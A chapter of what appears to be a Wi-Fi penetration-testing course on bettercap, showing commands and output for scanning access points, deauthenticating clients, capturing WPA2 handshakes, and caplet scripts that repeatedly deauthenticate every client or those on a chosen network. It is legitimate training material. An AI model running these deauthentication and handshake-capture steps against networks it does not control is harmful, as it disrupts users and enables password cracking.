12. bettercap Essentials
bettercap1 is a popular tool for Wi-Fi assessments. It shares some capabilities with airodump-ng, aireplay-ng, and airbase-ng or hostapd-mana. Unlike many of the other tools, bettercap provides some interface flexibility. We can interface with it using an interactive terminal, scripting language, or web UI.
While bettercap does much more than Wi-Fi, in this module, we'll only explore its Wi-Fi capabilities.
1 (bettercap, 2021), https://www.bettercap.org ↩︎
12.1. Installation and Executing
Installing bettercap is straightforward. We can install it by using apt.
Listing 1 - Installing bettercap
No additional packages or configurations of the wireless interface are necessary. As long as no other processes are using the wireless interface, bettercap will be able to configure monitor mode on it.1
To start bettercap, we will use the bettercap command and pass in the wireless interface using the -iface argument followed by the name of the interface, wlan0 in this case. This will start an interactive session where we can use the Wi-Fi module to perform various actions.
kali@kali:~$ sudo bettercap -iface wlan0
bettercap v2.28 (built for linux amd64 with go1.14.4) [type 'help' for a list of commands]
wlan0 » help
help MODULE : List available commands or show module specific help if no module name is provided.
active : Show information about active modules.
quit : Close the session and exit.
sleep SECONDS : Sleep for the given amount of seconds.
get NAME : Get the value of variable NAME, use * alone for all, or NAME* as a wildcard.
set NAME VALUE : Set the VALUE of variable NAME.
read VARIABLE PROMPT : Show a PROMPT to ask the user for input that will be saved inside VARIABLE.
clear : Clear the screen.
include CAPLET : Load and run this caplet in the current session.
! COMMAND : Execute a shell command and print its output.
alias MAC NAME : Assign an alias to a given endpoint given its MAC address.
Modules
any.proxy > not running
api.rest > not running
arp.spoof > not running
ble.recon > not running
caplets > not running
dhcp6.spoof > not running
dns.spoof > not running
events.stream > running
gps > not running
...
Listing 2 - Starting bettercap while using wlan0
If we don't provide the -iface argument, bettercap will automatically select an interface. Best practice, however, is to provide the intended interface. If we have multiple wireless interfaces (for example, one connected to a network and the other intended for bettercap), bettercap might select the wrong one.
We can change the interface for the Wi-Fi module by running set wifi.interface wlanX in the interactive terminal.
On startup, bettercap will configure the terminal to display the interface name or the IP address. Even if we change the interface by using the set wifi.interface wlanX command, the terminal will still show the old interface name/IP. This is another reason to start bettercap with the -iface argument.
In Listing 2, we typed the help command to display the various actions that we can run with bettercap. It also shows the modules that are active.
If the information on the screen ever gets too overwhelming, we can use the clear command to clear the screen.
Finally, we can exit out of bettercap by typing exit.
Now that bettercap is installed, let's review its functionality.
Exercise
Install and start bettercap. Run the "help" and "clear" commands. Once complete, quit bettercap.
1 (bettercap, 2021), https://www.bettercap.org/modules/wifi/ ↩︎
12.2. Modules vs. Commands
The main functionality of bettercap is separated into six main modules. Four of the modules have to do with the technologies supported by bettercap: Bluetooth LE,1 HID on 2.4Ghz,2 Ethernet,3 and Wi-Fi.4 The Core module helps us run commands specific to bettercap. Utils works with utilities like GPS or MAC address changer. Some modules, for example Ethernet, also have submodules (spoofers, proxies, etc.).
Each module contains commands and parameters. The commands are the various actions that bettercap can take within a specific module (for example, deauthentication within the Wi-Fi module). The parameters control the configuration of the module (for example, how often the Wi-Fi module hops between channels).
We can set parameters by using the set command, passing the parameter as the first argument and the value of the parameter as the second argument. For example, set wifi.hop.period 200 will set the channel-hopping period to 200 milliseconds.
While all the modules in bettercap are very powerful, we will concentrate our efforts on the Wi-Fi module.
1 (bettercap, 2021), https://www.bettercap.org/modules/ble/ ↩︎
2 (bettercap, 2021), https://www.bettercap.org/modules/hid/ ↩︎
3 (bettercap, 2021), https://www.bettercap.org/modules/ethernet/ ↩︎
4 (bettercap, 2021), https://www.bettercap.org/modules/wifi/ ↩︎
12.3. Wi-Fi Module
The bettercap Wi-Fi module allows us to do things like scan the Wi-Fi spectrum, deauthenticate clients, capture WPA/WPA2 handshakes, and create APs by spoofing beacons.
There are a several commands in the Wi-Fi module that will be useful to us.
- recon:1 Scan the 802.11 spectrum for APs and capture WPA/WPA2 handshakes.
- deauth:2 Deauthenticate clients from an AP.
- show:3 Display the discovered wireless stations.
- ap:4 Create a rogue AP.
To use these, we'll need to prepend wifi. to the command (for example, wifi.recon).
Before we begin using any of these commands, we will start bettercap by running sudo bettercap -iface wlan0.
kali@kali:~$ sudo bettercap -iface wlan0
bettercap v2.28 (built for linux amd64 with go1.14.4) [type 'help' for a list of commands]
...
Listing 3 - Starting bettercap with wlan0
With bettercap started, let's begin with some reconnaissance.
1 (bettercap, 2021), https://www.bettercap.org/modules/wifi/#wifirecon-on ↩︎
2 (bettercap, 2021), https://www.bettercap.org/modules/wifi/#wifideauth-bssid ↩︎
3 (bettercap, 2021), https://www.bettercap.org/modules/wifi/#wifishow ↩︎
4 (bettercap, 2021), https://www.bettercap.org/modules/wifi/#wifiap ↩︎
12.3.1. Discovering APs
The wifi.recon command will start the Wi-Fi module and allow us to discover nearby APs. By default, bettercap will hop on every supported channel. We can start the recon command by passing on as an argument.
wlan0 » wifi.recon on
[11:47:50] [sys.log] [inf] wifi using interface wlan0 (16:e4:c1:8f:25:32)
[11:47:50] [sys.log] [war] wifi could not set interface wlan0 txpower to 30, 'Set Tx Power' requests not supported
[11:47:51] [sys.log] [inf] wifi started (min rssi: -200 dBm)
wlan0 » [11:47:51] [sys.log] [inf] wifi channel hopper started.
wlan0 » [11:47:51] [wifi.ap.new] wifi access point dot11 (-51 dBm) detected as d4:9f:e2:2d:d1:24.
wlan0 » [11:47:51] [wifi.ap.new] wifi access point Corporate(-51 dBm) detected as c6:2d:56:2a:53:f8.
wlan0 » [11:47:51] [wifi.ap.new] wifi access point WuTangLan (-50 dBm) detected as 38:06:5e:11:f0:88.
wlan0 » [11:47:51] [wifi.client.new] new station c0:ee:fb:1a:d8:8d detected for Corporate (c6:2d:56:2a:53:f8)
wlan0 » [11:47:51] [wifi.client.new] new station 89:3c:3a:a7:c7:6a detected for WuTangLan (b6:fb:e4:44:45:b6)
wlan0 » [11:47:51] [wifi.client.new] new station c7:b5:66:4d:c1:d2 detected for WuTangLan (b6:fb:e4:44:45:b6)
wlan0 » [11:47:53] [wifi.client.probe] station ac:22:0b:28:fd:22 is probing for SSID Corporate (-63 dBm)
wlan0 » [11:47:53] [wifi.client.probe] station ac:22:0b:28:fd:22 is probing for SSID Corporate (-62 dBm)
wlan0 » [11:47:54] [wifi.ap.new] wifi access point guest (-50 dBm) detected as 0a:86:3b:98:96:e8.
...
Listing 4 - Starting the recon command
At this point, each client probe and AP discovered will be written to the event stream buffer, which is displayed to the screen. Later, we will manage the amount and type of information displayed.
Since bettercap is scanning all channels, we might find it useful to limit that. We'll do this by running the wifi.recon.channel command and passing in a comma-separated list of channels that we would like to scan.
Listing 5 - Setting the channels to only 6 and 11
bettercap is now set to only hop on channels 6 and 11. This will limit the number of APs and clients we will discover.
If we want to clear this filer at any point, we would pass in the string "clear" instead a comma-separated list of channels.
bettercap supports tab completion, which can make things a bit easier for us. Typing wi into the interactive shell and pressing the Tab key will autofill the Wi-Fi module and add the trailing period. Pressing Tab twice will display all the available modules or commands within a module.
We can use the tab completion to complete the wifi.show command, which will list the discovered wireless stations.
Figure 1: Running the show Command
Excellent! The wifi.show command displays the four APs we discovered: dot11, Corporate, WuTangLan, and guest. In addition to the SSID, Encryption, and BSSID, the table also shows RSSI (Received Signal Strength Indicator),1 the version of WPS (if supported), the channel, number of clients, the amount of data sent and received, and the last time the AP was seen.
Using the ticker2 module in bettercap, we can periodically execute multiple commands. Instead of manually running wifi.show when we want to inspect the table, we can use a ticker to clean the output and show the table.
Listing 6 - Using ticker to display wireless stations
In Listing 6 the set command is used to configure the commands parameter within the ticker module. The parameter is configured to a string that will execute clear and then display the table using wifi.show.
The default refresh interval is one second. If we need to, we can change this by setting the ticker.period parameter to the amount of seconds bettercap should wait before rerunning the ticker commands.
Once the ticker.commands parameter is set, we will turn on wifi.recon.
Finally, we will use ticker on to start the ticker module.
As a side note, we can also run commands as soon as bettercap starts instead of using the interactive session. To do this, we would use the -eval argument with a string of commands that we want to run. For example, the following command will automatically start the ticker to display the discovered APs.
sudo bettercap -iface wlan0 -eval "set ticker.commands 'clear; wifi.show'; wifi.recon on; ticker on"
Listing 7 - Running commands at startup
Once bettercap has collected enough data, we can stop the execution of the ticker by running ticker off. To display the final list, we will use the wifi.show command again.
At this point, we may want to sort and filter the output. For example, if we want to target the AP with the most clients, we can sort the table by the Clients column. We do this by setting the wifi.show.sort parameter to "clients" and passing in "desc" to sort the results in descending order.
Figure 2: Sorting By Number of Clients
As displayed in Figure 2, WuTangLan is on top with nine clients, followed by Corporate with three clients. We can also set the wifi.show.filter parameter to "WPA2" to display only APs with WPA2 encryption.
Figure 3: Filtering by WPA2 Encryption
The filter parameter accepts a regular expression (regex)3 and will apply the regex to the BSSID, SSID, and Encryption. In Figure 3, only the WPA2 encryption type is displayed.
Now that we have a list of WPA2 APs, let's take a look at the clients connected to an AP. In order to list the clients, we will use a BSSID with the wifi.recon command.
wlan0 » wifi.recon c6:2d:56:2a:53:f8
wlan0 » wifi.show
c6:2d:56:2a:53:f8 clients:
┌─────────┬───────────────────┬────┬────────┬───────┬──────────┐
│ RSSI ▴ │ BSSID │ Ch │ Sent │ Recvd │ Seen │
├─────────┼───────────────────┼────┼────────┼───────┼──────────┤
│ -41 dBm │ c0:ee:fb:1a:d8:8d │ 6 │ 355 B │ │ 11:50:21 │
│ -46 dBm │ ac:22:0b:28:fd:22 │ 6 │ 1.3 kB │ │ 11:50:24 │
│ -50 dBm │ 78:fd:94:b5:ec:88 │ 6 │ 5.1 kB │ │ 11:50:23 │
└─────────┴───────────────────┴────┴────────┴───────┴──────────┘
wlan0 (ch. 6) / ↑ 0 B / ↓ 328 kB / 2147 pkts
Listing 8 - Listing clients on Corporate
In Listing 8, we provided the BSSID of the Corporate AP to the wifi.recon command. When we run wifi.show, the clients of the Corporate AP are displayed. While the column for the client MAC addresses is labeled BSSID, this can be misleading. BSSID references only the MAC address for APs and not the clients.
We can also filter the client list using the same commands. For example, if we want to only include clients with a MAC Address that starts with "c0", we can run set wifi.show.filter ^c0.
wlan0 » set wifi.show.filter ^c0
wlan0 » wifi.show
c6:2d:56:2a:53:f8 clients:
┌─────────┬───────────────────┬────┬────────┬───────┬──────────┐
│ RSSI ▴ │ BSSID │ Ch │ Sent │ Recvd │ Seen │
├─────────┼───────────────────┼────┼────────┼───────┼──────────┤
│ -41 dBm │ c0:ee:fb:1a:d8:8d │ 6 │ 253 kB │ │ 11:50:43 │
└─────────┴───────────────────┴────┴────────┴───────┴──────────┘
wlan0 (ch. 6) / ↑ 0 B / ↓ 4 MB / 5147 pkts
Listing 9 - Filtering clients connected to BSSID that start with the MAC Address "c0"
To clear the filter, we can set it to an empty string. We'll do that next by running set wifi.show.filter "". We're also able to filter clients (and APs) by their signal strength by setting the wifi.rssi.min parameter. By default, this parameter is set to "-200" but we'll try setting it to "-49".
wlan0 » set wifi.show.filter ""
wlan0 » set wifi.rssi.min -49
wlan0 » wifi.show
c6:2d:56:2a:53:f8 clients:
┌─────────┬───────────────────┬────┬────────┬───────┬──────────┐
│ RSSI ▴ │ BSSID │ Ch │ Sent │ Recvd │ Seen │
├─────────┼───────────────────┼────┼────────┼───────┼──────────┤
│ -41 dBm │ c0:ee:fb:1a:d8:8d │ 6 │ 355 B │ │ 11:51:35 │
│ -46 dBm │ ac:22:0b:28:fd:22 │ 6 │ 1.3 kB │ │ 11:51:39 │
└─────────┴───────────────────┴────┴────────┴───────┴──────────┘
wlan0 (ch. 11) / ↑ 0 B / ↓ 458 kB / 2845 pkts
Listing 10 - Listing clients on Corporate
To exit the client view, we can pass the clear argument to wifi.recon by running wifi.recon clear. If we want to delete the APs and clients discovered, we could run wifi.clear or even wifi.recon off, which would stop the recon altogether.
The following parameters are useful for formatting the Wi-Fi table.
- wifi.show.limit: This parameter adds an upper limit to the number of clients or APs displayed. The integer we enter will be the maximum number. Entering "0" will disable the limit.
- wifi.show.manufacturer: This parameter adds an additional column to the table listing the manufacturers of the wireless device. It is set to "false" by default.
- wifi.sta.ttl: This parameter is how long bettercap should wait before marking a client as disconnected. It is measured in seconds and the default is 300 (five minutes).
- wifi.skip-broken: If this parameter is set to true, which it is by default, an invalid checksum in an 802.11 packet will be skipped.
Now that we have a good list of the clients and APs in our area, let's learn how to deauthenticate a client.
Exercise
Use the wifi.recon bettercap module to discover nearby APs. Reconfigure the recon module to only scan channels 1,2, and 3. If you don't discover anything, configure your AP to broadcast on one of those channels and scan again.
1 (Wikipedia, 2021), https://en.wikipedia.org/wiki/Received_signal_strength_indication ↩︎
2 (bettercap, 2021), https://www.bettercap.org/modules/core/ticker/ ↩︎
3 (Wikipedia, 2021), https://en.wikipedia.org/wiki/Regular_expression ↩︎
12.3.2. Deauthenticating a Client
Now that we know how to discover clients and APs, we can force clients to reconnect by deauthenticating them. Deauthentication can be used to capture WPA/WPA2 handshakes or to have clients connect to our rogue AP. In bettercap, we'll deauthenticate clients by using the wifi.deauth command. The command accepts a MAC address as a parameter where the value could be. We have several choices here.
We can enter the BSSID of a particular AP to deauthenticate all clients connected to that AP. Alternatively, we can enter the MAC address of a client to deauthenticate only that single client. Finally, we can enter ff:ff:ff:ff:ff:ff to deauthenticate everything. For obvious reasons, we want to be careful about when and where we use this last option.
Let's start by deauthenticating all clients connected to the Corporate AP we discovered earlier. The BSSID is c6:2d:56:2a:53:f8.
wlan0 » wifi.deauth c6:2d:56:2a:53:f8
wlan0 » [17:07:22] [sys.log] [inf] wifi deauthing client c0:ee:fb:1a:d8:8d (OnePlus Tech (Shenzhen) Ltd) from AP Corporate (channel:6 encryption:WPA2)
wlan0 » [17:07:24] [sys.log] [inf] wifi deauthing client ac:22:0b:28:fd:22 (ASUSTek COMPUTER INC.) from AP Corporate (channel:6 encryption:WPA2)
wlan0 » [17:07:26] [sys.log] [inf] wifi deauthing client 78:fd:94:b5:ec:88 (Apple, Inc.) from AP Corporate (channel:6 encryption:WPA2)
Listing 11 - Deauthenticating All Clients Connected to the "Corporate" AP
By running wifi.deauth and passing in the BSSID of the Corporate AP, we can observe that deauthentication frames were sent to three clients.
We might not always want to deauthenticate this many clients at once. Let's move forward and target a specific client by providing its MAC address.
wlan0 » wifi.deauth ac:22:0b:28:fd:22
wlan0 » [17:07:33] [sys.log] [inf] wifi deauthing client ac:22:0b:28:fd:22 (ASUSTek COMPUTER INC.) from AP Corporate (channel:6 encryption:WPA2)
...
wlan0 » [17:07:47] [wifi.client.handshake] captured ac:22:0b:28:fd:22 -> Corporate (c6:2d:56:2a:53:f8) WPA2 handshake (full) to /root/bettercap-wifi-handshakes.pcap
...
Listing 12 - Deauthenticating a Single Client
By passing in the MAC address of a single client, we are able to deauthenticate only that client from the AP. This time, we were also able to capture a handshake as determined by the wifi.client.handshake1 message in Listing 12.
Wi-Fi handshakes will be saved to the file configured in the wifi.handshakes.file parameter. If we capture multiple handshakes for different networks, they will all get aggregated into a single file. It's possible to change both of these settings, saving files in a new location and saving each network's handshakes into a separate file.
wlan1 » wifi.recon off
wlan1 » get wifi.handshakes.file
wifi.handshakes.file: '~/bettercap-wifi-handshakes.pcap'
wlan0 » set wifi.handshakes.file "/home/kali/handshakes/"
wlan0 » set wifi.handshakes.aggregate false
wlan0 » wifi.recon on
wlan0 » wifi.deauth c6:2d:56:2a:53:f8
...
wlan0 » [16:28:12] [wifi.client.handshake] captured 78:fd:94:b5:ec:88 -> Corporate (c6:2d:56:2a:53:f8) WPA2 handshake (full) to /home/kali/handshakes/Corporate_405d82dcb210.pcap
Listing 13 - Changing the File and Aggregate settings
In Listing 13, we turned off recon mode to make sure we're able to make the appropriate changes. Next we used the get command to obtain the current setting of the wifi.handshakes.file parameter. Since we're running bettercap with sudo, the home directory is /root/. Using the set command and the wifi.handshakes.file parameter, we changed the location of the pcaps to /home/kali/handshakes/. In order to instruct bettercap to output 4-way handshakes to a folder, we set the wifi.handshakes.aggregate parameter to "false". Finally, we turned wifi.recon back on and ran the deauthentication command. As shown in Listing 13, the handshake is saved and the filename is prepended with the SSID of the network.
Up to this point, we have been using MAC addresses of clients and APs that were previously discovered by bettercap. If a MAC address has not been previously discovered, bettercap will not allow us to run a deauthentication command. This is displayed in Listing 14.
wlan0 » wifi.deauth AA:BB:CC:DD:EE:FF
[15:22:08] [sys.log] [err] aa:bb:cc:dd:ee:ff is an unknown BSSID, is in the deauth skip list, or doesn't have detected clients.
Listing 14 - Unknown BSSID during deauth
The output in Listing 14 mentions a "deauth skip list". The skip list is a series of MAC Addresses that we do not want to deauthenticate.
We can edit the list by setting wifi.deauth.skip to a comma separated list of client or AP MAC addresses. To demonstrate this, we will add the ASUS device (ac:22:0b:28:fd:22) to our skip list and then deauthenticate all clients connected to the Corporate AP.
wlan0 » set wifi.deauth.skip ac:22:0b:28:fd:22
wlan0 » wifi.deauth c6:2d:56:2a:53:f8
wlan0 » [15:38:34] [sys.log] [inf] wifi deauthing client c0:ee:fb:1a:d8:8d (OnePlus Tech (Shenzhen) Ltd) from AP Corporate (channel:6 encryption:WPA2)
wlan0 » [15:38:36] [sys.log] [inf] wifi deauthing client 78:fd:94:b5:ec:88 (Apple, Inc.) from AP Corporate (channel:6 encryption:WPA2)
Listing 15 - Deauthentication filter
As displayed in Listing 15, the OnePlus and Apple devices were deauthenticated, but the ASUS device was not.
In addition to the wifi.deauth.skip parameter, the wifi.deauth command also reads from the wifi.deauth.acquired, wifi.deauth.open, and wifi.deauth.silent parameters.
The wifi.deauth.acquired parameter is set to false by default and will prevent bettercap from sending deauthentication packets if the handshake has already been captured. The wifi.deauth.open parameter is set to true by default and instructs bettercap to send deauthentication packets to open networks. The wifi.deauth.silent parameter is set to false by default and, if set to true, will instruct bettercap to hide the deauthentication messages in the terminal.
Now that we have an understanding of the actions we can take using bettercap, let's review the additional user interfaces that bettercap implements.
Exercise
Connect two clients to your AP and deauthenticate both by providing the BSSID. Once successful, attempt to deauthenticate only a single client, but this time use a ticker to run the deauthentication every 10 seconds to ensure a handshake is captured.
1 (bettercap, 2021), https://www.bettercap.org/modules/wifi/#parameters ↩︎
12.4. Additional Methods of Interacting with Bettercap
So far, we have been using the interactive session to perform various actions in bettercap. While effective, the interactive session might be tedious for simple or repetitive tasks. bettercap also provides a web interface for a simpler experience or a scripting interface for repetitive tasks.
Let's first take a look at caplets, the scripting interface implemented by bettercap.
12.4.1. Caplets
Caplets are files that allow us to quickly run a series of commands without having to manually type each one into the interactive terminal. Caplet files have a .cap file extension.
We can write our own caplets, but let's examine one of the examples provided by bettercap first. The example caplets are in the /usr/share/bettercap/caplets/ directory.
kali@kali:~$ cd /usr/share/bettercap/caplets/
kali@kali:/usr/share/bettercap/caplets$ cat -n massdeauth.cap
1 set $ {by}{fw}{env.iface.name}{reset} {bold}» {reset}
2
3 # every 10 seconds deauth every client from every ap
4 set ticker.period 10
5 set ticker.commands clear; wifi.deauth ff:ff:ff:ff:ff:ff
6
7 # uncomment to only hop on these channels:
8 # wifi.recon.channel 1,2,3
9
10 wifi.recon on
11 ticker on
12 events.clear
13 clear
Listing 16 - Caplet for mass deauthentication
The commands executed in this script should be familiar. On line 1, the script customizes the prompt1 with a yellow background (by), a white foreground (fw), the interface name, and two bold right pointing arrows ({reset}) will reset the settings so that the arrows are not on a yellow background as well). Line 4 sets the ticker period to be executed every 10 seconds. Line 5 sets the commands to clear the terminal and deauthenticate every client. Line 10 starts the 802.11 discovery and line 11 starts the ticker. Finally, lines 12 and 13 clear the terminal and the event stream buffer.2
Since massdeauth deauthenticates every client, we're not going to use it. Instead, we'll write our own to consistently deauthenticate any users on the Corporate AP.
This is what we want our caplet to do.
- Change the prompt to have a red background, white foreground, display the amount of data received in a human-readable format, show the interface name, and display two white arrows.
- Configure the ticker to run every 10 seconds.
- Configure a ticker to display only useful information and deauthenticate all clients connected to the Corporate AP.
- Start the recon command and the ticker.
- Clear the screen and event stream buffer.
The code is in Listing 17.
kali@kali:~$ cat -n deauth_corp.cap
1 set $ {br}{fw}{net.received.human} - {env.iface.name}{reset} » {reset}
2
3 set ticker.period 10
4 set ticker.commands clear; wifi.show; events.show; wifi.deauth c6:2d:56:2a:53:f8
5
6 events.ignore wifi.ap.new
7 events.ignore wifi.client.probe
8 events.ignore wifi.client.new
9
10 wifi.recon on
11 ticker on
12 events.clear
13 clear
Listing 17 - Custom caplet for deauthentication
Let's take some time to review the caplet.
Line 1 sets the terminal to use a red background with white text. It also includes commands to display the amount of bytes received and the interface name.
On line 3, we set the ticker to run every 10 seconds.
Line 4 sets the ticker commands. The ticker will clear the screen and then show the table of stations discovered. Next, it displays the events that have been captured, and then it deauthenticates all clients on the Corporate AP.
The displayed events might be more overwhelming than useful, so on lines 6, 7, and 8 we prevent the new AP, client probe, and new client notifications from being written to the event stream. The events.show command we added to the ticker on line 4 will display only the relevant information after the screen is cleared.
Lines 10 and 11 will start the recon command and the ticker.
Finally, on line 12 and 13, we clear the event stream buffer and the terminal.
There are a few different ways we could run this caplet. First, if we already have an existing terminal session running, we can use the include command and pass in the caplet we would like to run (include deauth_corp.cap, for example). If we don't already have an interactive session running, we can use the -caplet argument when starting bettercap.
Listing 18 - Running custom caplet
If we run this caplet for long enough, we should observe the deauthentication messages and the handshake capture messages.
...
[17:26:41] [sys.log] [inf] wifi deauthing client c0:ee:fb:1a:d8:8d (OnePlus Tech (Shenzhen) Ltd) from AP Corporate (channel:6 encryption:WPA2)
...
[17:26:45] [wifi.client.handshake] captured c0:ee:fb:1a:d8:8d -> Corporate (c6:2d:56:2a:53:f8) WPA2 handshake (full) to /root/bettercap-wifi-handshakes.pcap
Listing 19 - Capturing a handshake
Excellent! The log message include the packet capture in the /root/bettercap-wifi-handshakes.pcap file. From here, we could use the captured packets to attempt to crack the WPA2 password.
Exercises
- Recreate the deauthentication script locally and run it against a client and AP you control.
- In the deauthentication script, change the location of the handshake packet capture to a different location of your choice.
- Create a caplet to inject beacons on channel 3 with the SSID of "WiFu" and without encryption. The bettercap documentation will be your friend during this exercise. Since bettercap does not provide a DHCP server, clients may connect and disconnect shortly after due to not receiving an IP address.
1 (bettercap, 2021), https://www.bettercap.org/usage/interactive/#customizing-the-prompt ↩︎
2 (bettercap, 2021), https://www.bettercap.org/modules/core/events.stream/ ↩︎
12.4.2. Web Interface
bettercap's interactive terminal has some disadvantages. For example, the table that was displayed when we ran wifi.show would become unusable in an area with too many APs. Thankfully, bettercap's web interface allows us to display the information in a more concise way. In addition, the web interface allows us to control a bettercap instance remotely.
In this section, we will explore bettercap remote access via the web interface. The Kali instance where we have installed bettercap will become our remote instance and we will be using a browser on a different host to access the web interface.
The bettercap web interface runs on port 443. However, the interface on port 443 makes calls to the API server on port 8083. In order to ensure secure access, we will add nftable rules to block access to anyone besides our IP.
If we need to install nftables,1 (the successor of iptables), we can run sudo apt install nftables.
The commands in Listing 20 will block all incoming requests. The only allowed requests will be on port 443 and 8083 from our main Kali instance (192.168.62.192) to our remote Kali instance that is running bettercap.
Warning
Caution: Running the following commands over ssh will result in the ssh connection being dropped.
kali@kali:~$ sudo nft add table inet filter
kali@kali:~$ sudo nft add chain inet filter INPUT { type filter hook input priority 0\; policy drop\; }
kali@kali:~$ sudo nft add rule inet filter INPUT ip saddr 192.168.62.192 tcp dport 443 accept
kali@kali:~$ sudo nft add rule inet filter INPUT ip saddr 192.168.62.192 tcp dport 8083 accept
Listing 20 - Configuring nftables on the kali machine running bettercap
The first line initializes a table2 named "filter". The second line will create a chain3 named "INPUT" within the filter table to block all incoming requests. Once the chain is created, we will create the rules to only allow access from the IP address of our main Kali instance on ports 443 and 8083.
If the commands in Listing 20 fail, this might be because a rule, table, or chain is already configured. We'll want to be careful if nftables or iptables is already configured to avoid interfering with existing firewall rules.
With nftable configured, we can set a username and password for the web interface. We can do this by editing lines 16 and 17 of the caplet located in /usr/share/bettercap/caplets/https-ui.cap. This is the same caplet that we will use to start the web interface.
kali@kali:~$ cat -n /usr/share/bettercap/caplets/https-ui.cap
1 # api listening on https://0.0.0.0:8083/ and ui on https://0.0.0.0
2 set api.rest.address 0.0.0.0
3 set api.rest.port 8083
4 set https.server.address 0.0.0.0
5 set https.server.port 443
6
7 # make sure both use the same https certificate so api requests won't fail
8 set https.server.certificate ~/.bettercap-https.cert.pem
9 set https.server.key ~/.bettercap-https.key.pem
10 set api.rest.certificate ~/.bettercap-https.cert.pem
11 set api.rest.key ~/.bettercap-https.key.pem
12 # default installation path of the ui
13 set https.server.path /usr/share/bettercap/ui
14
15 # !!! CHANGE THESE !!!
16 set api.rest.username offsec
17 set api.rest.password wifu
18
19 # go!
20 api.rest on
21 https.server on
Listing 21 - Configuring the web interface
On lines 2 and 3 of the https-ui caplet, the API server is configured to run on all interfaces (via 0.0.0.0) and on port 8083.
Next, on lines 4 and 5 the HTTPS web interface server is configured to run on all interfaces as well but on port 443. The HTTPS server will serve the HTML for the web interface while the API will control bettercap.
On lines 8-11, the caplet will set the TLS certificate and TLS private key for both the HTTPS and API servers. Since the TLS certificate and TLS private key don't exist yet, they will be generated on first start of the https-ui caplet.
Once the API and HTTPS servers are configured to use the TLS certificate and TLS private key, the caplet will set the path of the HTML file that will be served to our browser on line 13.
Next, on lines 16-17, the username and password for the API are configured to the values we set by editing the file.
Finally, the API and HTTPS servers are initialized on lines 20-21.
Warning
If we wanted to only run bettercap locally, we would use the http-ui caplet instead of the https-ui caplet. The http-ui caplet starts the HTTP listener on the loopback interface instead of on all interfaces.
We can run this caplet by passing in https-ui to the -caplet argument.
kali@kali:~$ sudo bettercap -iface wlan0 -caplet https-ui
bettercap v2.28 (built for linux amd64 with go1.14.4) [type 'help' for a list of commands]
[13:42:20] [sys.log] [inf] api.rest generating TLS key to /root/.bettercap-https.key.pem
[13:42:20] [sys.log] [inf] api.rest generating TLS certificate to /root/.bettercap-https.cert.pem
[13:42:24] [sys.log] [inf] api.rest api server starting on https://0.0.0.0:8083
[13:42:24] [sys.log] [inf] https.server loading server TLS key from /root/.bettercap-https.key.pem
[13:42:24] [sys.log] [inf] https.server loading server TLS certificate from /root/.bettercap-https.cert.pem
wlan0 » [13:42:24] [sys.log] [inf] https.server starting on https://0.0.0.0:443
wlan0 »
Listing 22 - Starting the web interface
The sys.log messages in Listing 22 report that the TLS certificate and TLS private key were generated for the API and HTTPS server and that the respective servers are started.
Now that the API and HTTPS servers are started, we can interact with the web interface from any browser that is not blocked by nftables and has network access to the remote Kali machine running bettercap. Since the certificate is self-signed, we will need to accept the certificate warning when visiting the page.
Figure 4: Certificate Warning on HTTPS Server
Once we click Accept the Risk and Continue, we will be redirected to a login page.
Figure 5: Login to bettercap
The HTML and JavaScript loaded on this page will instruct our browser to make calls to the API server running on port 8083. Because we use a self-signed certificate, and web browsers don't trust them by default, we will need to accept the certificate first. If we don't do this, the API calls will fail.
With the same browser that we are using for the bettercap UI, let's open a new tab, browse to the API server, and accept self-signed certificate on port 8083.
Figure 6: Accept Certificate of API Server
Once the certificate is accepted, we can go back to the web interface and log in. The credentials we use here will be the same ones that we configured in the https-ui.cap file. Once logged in, a dashboard is displayed with multiple options.
Figure 7: Home Dashboard
The icons on top (Events, LAN, Wi-Fi, etc.) are various domains supported by bettercap. The command bar, also called the Omnibar, is where we would enter commands as if we were using an interactive session. The web interface will suggest commands as we type. We can hide the Omnibar by clicking the caret button just under the logout icon. To restore it, we can click the new icon, which is added to the left of the Logout icon when the bar is hidden.
The bottom half of the screen is used to display information for the tab we are on. In this case, we can inspect the event stream for the various actions that have occurred. The event stream is populated with the same information that we can find in the interactive session of the remote bettercap machine.
Let's open the WiFi tab. Since the Wi-Fi module is not running right now, this tab has an empty table where a list of APs should go.
Figure 8: Wi-Fi Module in Bettercap Web Interface
The WiFi tab adds three more useful buttons on the Omnibar. The first is the trash icon, which will run wifi.clear and wipe all data collected during the Wi-Fi discovery process. The second is the dropdown button, which we can use to select the wireless interface (if we had multiple wireless cards to select from). The third button is the play icon, which will start the Wi-Fi module.
Once we click the play button, bettercap will begin to populate the table with discovered APs.
Figure 9: Starting the Wi-Fi Module
Note that the play button is replaced by a stop button. Let's allow the module to continue to run for now.
While the Wi-Fi module is collecting data, we can navigate to the Advanced tab.
Figure 10: Bettercap Advanced Tab
The Advanced tab allows us to inspect our settings, commands, and other information. If we scroll down to the Wi-Fi settings, we can find all the commands and parameters available for the Wi-Fi module.
Figure 11: Wi-Fi Settings
By clicking on the wifi.recon off button, we can stop the Wi-Fi module from collecting any more information. It is the equivalent of pressing the stop button on the WiFi tab.
Exercises
Use the web interface to discover the APs around you. Once discovered, use the web interface to do the following.
- Change the file path of where handshake files should be stored.
- Deauthenticate a client.
- Capture a WPA Handshake.
1 (nftables, 2021) https://wiki.nftables.org/wiki-nftables/index.php/Main_Page ↩︎
2 (nftables, 2021), https://wiki.nftables.org/wiki-nftables/index.php/Quick_reference-nftables_in_10_minutes#Tables ↩︎
3 (nftables, 2021), https://wiki.nftables.org/wiki-nftables/index.php/Quick_reference-nftables_in_10_minutes#Chains ↩︎
12.5. Wrapping Up
In this module, we have introduced the bettercap tool. We used bettercap to capture information about the 802.11 spectrum around us, deauthenticate clients, and capture WPA handshakes. We used the interactive, scripting, and web interfaces to complete the various actions. While the actions demonstrated by the bettercap tool are not novel, the implementation is unique compared to other tools and we might find ourselves in a situation where bettercap is a more intuitive, more stable, or otherwise better choice.